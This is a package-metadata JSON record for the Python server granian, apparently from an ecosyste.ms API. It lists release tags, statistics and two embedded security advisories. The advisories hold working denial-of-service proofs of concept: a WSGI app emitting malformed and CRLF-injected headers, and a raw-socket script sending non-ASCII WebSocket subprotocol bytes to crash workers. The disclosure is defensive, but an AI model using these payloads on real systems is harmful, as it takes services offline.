hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.3/manifests","release_url":null},{"name":"v0.5.2","sha":"b7384750a7a94b410fcfd2c3c2e0a53736d850dc","kind":"commit","published_at":"2023-07-16T14:50:41.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.5.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.2/manifests","release_url":null},{"name":"v0.5.1","sha":"90107324fee44fac9411863a47d9dc77421c0560","kind":"commit","published_at":"2023-07-06T22:45:24.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.5.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.1/manifests","release_url":null},{"name":"v0.5.0","sha":"e3853c04bb28011d8c2ac44fc9b189ee23b43af2","kind":"commit","published_at":"2023-06-22T09:59:59.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.5.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.5.0/manifests","release_url":null},{"name":"v0.4.3","sha":"ced57f80076f549504810fa50fd84cdc28c880c0","kind":"commit","published_at":"2023-05-28T13:11:45.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.4.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.3/manifests","release_url":null},{"name":"v0.4.2","sha":"2fff960c9f7ddeff7a5a2fc59200ccf67270e165","kind":"commit","published_at":"2023-05-16T11:41:16.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.4.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.2/manifests","release_url":null},{"name":"v0.4.1","sha":"509c000c81c87bf12ba21029e8bf352365da2eea","kind":"commit","published_at":"2023-05-12T10:23:24.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.4.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.1/manifests","release_url":null},{"name":"v0.4.0","sha":"771eba3ce5bb2bfa4e936f4e284f1552ae8ddece","kind":"commit","published_at":"2023-05-09T12:31:56.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.4.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.4.0/manifests","release_url":null},{"name":"v0.3.2","sha":"2042d87823d3efdec8f7159c400539258c158cfe","kind":"commit","published_at":"2023-05-02T16:20:36.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.3.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.2/manifests","release_url":null},{"name":"v0.3.1","sha":"8a0224da88e8415366ec738b7cbc785ebf193fca","kind":"commit","published_at":"2023-03-21T13:41:57.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.3.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.1/manifests","release_url":null},{"name":"v0.3.0","sha":"8d8bd7f4d3a08b840018af3ee2b9a65865ebe084","kind":"commit","published_at":"2023-03-14T10:32:07.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.3.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.3.0/manifests","release_url":null},{"name":"v0.2.6","sha":"1d5002ae4b48598e1947f281fc104ce54fac40c4","kind":"commit","published_at":"2023-01-25T19:05:52.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.6","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.6/manifests","release_url":null},{"name":"v0.2.5","sha":"23ac0bcd94f2ee256ca3dee279c77d3792d8efca","kind":"commit","published_at":"2023-01-20T00:36:31.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.5/manifests","release_url":null},{"name":"v0.2.4","sha":"9265a03416a536acb37ca6073292a0c88b23ab47","kind":"commit","published_at":"2023-01-18T13:27:30.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.4/manifests","release_url":null},{"name":"v0.2.3","sha":"d1064ac4cba71f78be0a5288395f41fc256da595","kind":"commit","published_at":"2023-01-17T16:20:51.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.3/manifests","release_url":null},{"name":"v0.2.2","sha":"e5139e218606a1b7bac817d2cfa1975a0d23a40c","kind":"commit","published_at":"2023-01-16T21:25:00.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.2/manifests","release_url":null},{"name":"v0.2.1","sha":"b843a90dc3cd928a045008549eac0c2c1beb6e07","kind":"commit","published_at":"2023-01-13T01:30:45.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.1/manifests","release_url":null},{"name":"v0.2.0","sha":"a309b0b1caa49f14c0158990e8a8d70ec7f7fab0","kind":"commit","published_at":"2022-12-24T17:04:30.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.2.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.2.0/manifests","release_url":null},{"name":"v0.1.5","sha":"0eee927d9c650990c30fe718a813749169d8ac71","kind":"commit","published_at":"2022-12-05T12:00:21.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.5","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.5/manifests","release_url":null},{"name":"v0.1.4","sha":"e1d53cf4a7c5d2c44b5c704f1858853f2c14d922","kind":"commit","published_at":"2022-12-01T14:51:13.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.4","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.4/manifests","release_url":null},{"name":"v0.1.3","sha":"8dc8c01b952e7bfe23a0809b79410a3d92a1e4d6","kind":"commit","published_at":"2022-11-17T07:11:25.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.3/manifests","release_url":null},{"name":"v0.1.2","sha":"d9d7552de3f98410b7651996dcebfde5e7514974","kind":"commit","published_at":"2022-11-10T14:48:42.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.2/manifests","release_url":null},{"name":"v0.1.1","sha":"db9d50e852ffe39d9db8b342a98bcb2225380a3e","kind":"commit","published_at":"2022-11-08T23:49:27.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.1/manifests","release_url":null},{"name":"v0.1.0","sha":"d42fc82d6022ffdf53aeac6e2ef62d7e37def679","kind":"commit","published_at":"2022-11-01T23:32:56.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0/manifests","release_url":null},{"name":"v0.1.0-beta.2","sha":"ac5b17778b19d37cc83000c73291feb2c1dc68b0","kind":"commit","published_at":"2022-10-18T15:35:25.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0-beta.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-beta.2/manifests","release_url":null},{"name":"v0.1.0-beta.1","sha":"5f3dbde123e515ef96ce65c344a4b809afadddb8","kind":"commit","published_at":"2022-10-10T16:37:07.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0-beta.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-beta.1/manifests","release_url":null},{"name":"v0.1.0-alpha.3","sha":"a8edcf35f6d3e7fb71320ae3608fd41fdb3fc695","kind":"commit","published_at":"2022-07-29T07:57:31.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0-alpha.3","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.3/manifests","release_url":null},{"name":"v0.1.0-alpha.2","sha":"e8e62c8c0fd2249a004da2a7a2dad238b242deae","kind":"commit","published_at":"2022-06-14T22:59:13.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0-alpha.2","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.2/manifests","release_url":null},{"name":"v0.1.0-alpha.1","sha":"839e3fb887f3785b1411eb7aa3c69bd071d6295b","kind":"commit","published_at":"2022-04-18T21:10:54.000Z","download_url":"https://codeload.github.com/emmett-framework/granian/tar.gz/v0.1.0-alpha.1","html_url":"https://github.com/emmett-framework/granian/releases/tag/v0.1.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/emmett-framework/granian@v0.1.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/tags/v0.1.0-alpha.1/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-11-06T23:29:41.551Z","dependent_packages_count":5,"downloads":10124022,"downloads_period":"last-month","dependent_repos_count":45,"rankings":{"downloads":2.631543850490509,"dependent_repos_count":2.1889532667530687,"dependent_packages_count":1.865061673354139,"stargazers_count":2.015327466889279,"forks_count":6.619364623304767,"docker_downloads_count":null,"average":3.0640501761583527},"purl":"pkg:pypi/granian","advisories":[{"uuid":"GSA_kwCzR0hTQS1mNXA3LTlmcjUtOGptas4ABWTp","url":"https://github.com/advisories/GHSA-f5p7-9fr5-8jmj","title":"Granian vulnerable to DoS via WSGI response header panic","description":"### Summary\n\nGranian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses `.unwrap()` on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.\n\nThis issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a `500` instead kill the worker process.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42\n\nIf either conversion fails, `.unwrap()` panics. In release builds Granian uses `panic = \"abort\"`, so the panic terminates the worker.\n\n\n#### Preconditions\n\nThe attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.\n\nExamples include:\n\n- a header name containing a space\n- a header value containing `\\r\\n`\n- a header value containing a null byte\n\nThese are realistic failure modes for applications that reflect user-controlled data into headers such as `Location`, `Content Disposition`, or custom response headers.\n\n### PoC\n\n#### Step 1\n\nstart Granian with the PoC WSGI app\n\n```python\n# app.py\ndef app(environ, start_response):\n    path = environ.get(\"PATH_INFO\", \"/\")\n    if path == \"/crash-name\":\n        headers = [(\"X Bad Name\", \"value\")]\n    elif path == \"/crash-value\":\n        headers = [(\"Content-Type\", \"text/html\\r\\nX-Injected: evil\")]\n    elif path == \"/crash-null\":\n        headers = [(\"X-Custom\", \"value\\x00end\")]\n    else:\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [b\"OK - server alive\\n\"]\n\n    start_response(\"200 OK\", headers)\n    return [b\"This response kills the worker\\n\"]\n\n```\n\n```bash\ngranian --interface wsgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2\n\ntrigger the crash (any one of these is sufficient)\n\n```bash\ncurl http://127.0.0.1:8000/crash-name\ncurl http://127.0.0.1:8000/crash-value\ncurl http://127.0.0.1:8000/crash-null\n```\n\n\nExpected result:\n\n- the worker aborts after any of the crash paths\n- subsequent requests fail until the worker is restarted\n\n\n### Impact\n\n- Worker process denial of service\n- A single bad response kills one worker\n- Application bugs become process crashes instead of request-scoped failures","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-06T21:24:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj","https://nvd.nist.gov/vuln/detail/CVE-2026-42545","https://github.com/advisories/GHSA-f5p7-9fr5-8jmj"],"source_kind":"github","identifiers":["GHSA-f5p7-9fr5-8jmj","CVE-2026-42545"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T22:00:07.920Z","updated_at":"2026-11-12T04:04:37.129Z","epss_percentage":0.0027,"epss_percentile":0.19165,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNXA3LTlmcjUtOGptas4ABWTp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNXA3LTlmcjUtOGptas4ABWTp","packages":[{"ecosystem":"pypi","package_name":"granian","versions":[{"first_patched_version":"2.7.4","vulnerable_version_range":"\u003e= 0.2.0, \u003c 2.7.4"}],"purl":"pkg:pypi/granian"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNXA3LTlmcjUtOGptas4ABWTp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cmc3LTQ4MmotcDZmNs4ABWTo","url":"https://github.com/advisories/GHSA-vrg7-482j-p6f6","title":"Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic","description":"### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread '\u003cunnamed\u003e' panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T21:20:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6","https://nvd.nist.gov/vuln/detail/CVE-2026-42544","https://github.com/advisories/GHSA-vrg7-482j-p6f6"],"source_kind":"github","identifiers":["GHSA-vrg7-482j-p6f6","CVE-2026-42544"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T22:00:07.920Z","updated_at":"2026-11-12T04:04:37.129Z","epss_percentage":0.0039,"epss_percentile":0.33538,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmc3LTQ4MmotcDZmNs4ABWTo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cmc3LTQ4MmotcDZmNs4ABWTo","packages":[{"ecosystem":"pypi","package_name":"granian","versions":[{"first_patched_version":"2.7.4","vulnerable_version_range":"\u003e= 1.2.0, \u003c 2.7.4"}],"purl":"pkg:pypi/granian"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cmc3LTQ4MmotcDZmNs4ABWTo/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/granian","docker_dependents_count":1,"docker_downloads_count":3309,"usage_url":"https://repos.ecosyste.ms/usage/pypi/granian","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/granian/dependencies","status":null,"funding_links":["https://github.com/sponsors/gi0baro"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-01T09:54:44.759Z","issues_count":324,"pull_requests_count":590,"avg_time_to_close_issue":5661139.764705882,"avg_time_to_close_pull_request":1585201.1324376198,"issues_closed_count":221,"pull_requests_closed_count":521,"pull_request_authors_count":80,"issue_authors_count":204,"avg_comments_per_issue":2.0462962962962963,"avg_comments_per_pull_request":0.5661016949152542,"merged_pull_requests_count":413,"bot_issues_count":1,"bot_pull_requests_count":214,"past_year_issues_count":55,"past_year_pull_requests_count":74,"past_year_avg_time_to_close_issue":1232382.2307692308,"past_year_avg_time_to_close_pull_request":1286123.0740740742,"past_year_issues_closed_count":39,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":36,"past_year_issue_authors_count":50,"past_year_avg_comments_per_issue":1.4,"past_year_avg_comments_per_pull_request":0.7162162162162162,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":24,"past_year_merged_pull_requests_count":32,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/emmett-framework%2Fgranian/issues","maintainers":[{"login":"gi0baro","count":289,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gi0baro"}],"active_maintainers":[{"login":"gi0baro","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gi0baro"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/granian/codemeta","maintainers":[{"uuid":"gi0baro","login":"gi0baro","name":null,"email":null,"url":null,"packages_count":32,"html_url":"https://pypi.org/user/gi0baro/","role":null,"created_at":"2023-02-25T21:28:40.895Z","updated_at":"2023-02-25T21:28:40.895Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/gi0baro/packages"}]}